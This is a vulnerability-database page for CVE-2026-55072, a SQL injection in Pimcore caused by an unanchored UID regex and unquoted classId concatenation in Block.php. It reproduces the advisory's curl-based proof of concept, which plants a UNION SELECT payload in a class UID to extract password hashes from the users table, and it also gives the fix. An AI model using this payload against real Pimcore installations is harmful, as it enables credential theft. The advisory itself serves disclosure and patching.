Skip to main content

PHP CVE-2026-55072

| EUVDEUVD-2026-77635 HIGH
Improper Input Validation (CWE-20)
2026-08-13 https://github.com/pimcore/pimcore GHSA-2mhj-fhvg-v428
8.5
CVSS 3.1 · Vendor: https://github.com/pimcore/pimcore
Share

Severity by source

Vendor (https://github.com/pimcore/pimcore) PRIMARY
8.5 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Primary rating from Vendor (https://github.com/pimcore/pimcore) · only source for this CVE.

CVSS VectorVendor: https://github.com/pimcore/pimcore

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 13, 2026 - 14:21 vuln.today
Analysis Generated
Aug 13, 2026 - 14:21 vuln.today
CVE Published
Aug 13, 2026 - 13:44 github-advisory
HIGH 8.5

DescriptionCVE.org

Summary

A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.

Details

1. Missing end anchor in ClassDefinition UID validation

models/DataObject/ClassDefinition.php lines 1148-1154:

php
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
    throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));
}

if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));
}

Both patterns are missing a trailing $ anchor. Without it, preg_match only checks that the string STARTS with a valid identifier - it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.

Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:

php
if (!preg_match('/^[a-zA-Z]\w*$/', $key)) {   // has $ - correct
    return true;
}

3. Unquoted classId concatenation in Block.php

models/DataObject/ClassDefinition/Data/Block.php line 735:

php
$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id  = ' . $object->getId();

$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.

Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:

php
$objectDatastoreTable = 'object_store_' . $this->model->getId();
$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);

Dao.php was hardened in commit dbe1d131e4 but Block.php was not.

PoC

Prerequisites:

  • Pimcore 2026.1.x with Studio API enabled
  • A user lowpriv with only the objects permission

Step 1 - Authenticate as lowpriv and save the session cookie:

bash
curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"password"}'

Expected response:

json
{"message": "Login successful"}

Step 2 - Create a ClassDefinition with a malicious UID:

bash
curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'

Expected response: class definition created successfully. The UID passes the broken regex because preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.

The bypass can be verified independently in any PHP sandbox:

php
var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1) - PASSES, no exception thrown

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0) - BLOCKED, correct behavior with $ anchor

Step 3 - Add a Block field to the malicious class (via the class editor UI or API)

In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.

Step 4 - Create a data object of the malicious class:

bash
curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/data-objects" \
  -H "Content-Type: application/json" \
  -d '{"className":"PocClass","parentId":1,"key":"poc-object"}'

Note the returned object ID (e.g. 42).

Step 5 - Fetch the data object to trigger Block.php:735:

bash
curl -s -b /tmp/cookies.txt \
  "https://your-pimcore/pimcore-studio/api/data-objects/42"

When the object loads, Block::load() executes:

sql
SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--
WHERE oo_id = 42

The -- comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the users table in the Block field value of the response.

Expected response (vulnerable):

The myblock field value in the response contains rows from the users table including password hashes.

Expected response (patched):

Step 2 fails with a validation exception - the UID is rejected before the class is created.

Recommended fix:

Add trailing $ anchors to both regex patterns in ClassDefinition.php:

php
// Before (vulnerable)
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {

// After (correct)
if (!preg_match('/^[a-zA-Z]\w+$/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) {

Additionally, wrap $object->getClassId() in $db->quoteIdentifier() in Block.php lines 735, 744, 746, 748, 759, and 771, consistent with how Dao.php handles the same value.

Impact

An authenticated user with the objects permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the users table containing password hashes, using a UNION-based injection. The objects permission is a standard editor-level permission, not an admin privilege.

AnalysisAI

SQL injection in Pimcore's Block.php field loader, affecting versions 2026.1.0–2026.1.4 and all releases below 12.3.9, enables an authenticated editor-level user to exfiltrate arbitrary database content including password hashes via UNION-based injection. The vulnerability chains two incomplete fixes: a missing trailing $ anchor in ClassDefinition.php regex validation permits malicious UIDs to pass input checks, and six unquoted getClassId() concatenations in Block.php execute the injected SQL when any data object of the malicious class is loaded. A working proof-of-concept is publicly documented in GitHub Security Advisory GHSA-2mhj-fhvg-v428, and vendor-released patches (2026.1.5 and 12.3.9) address both weaknesses.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-55072 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy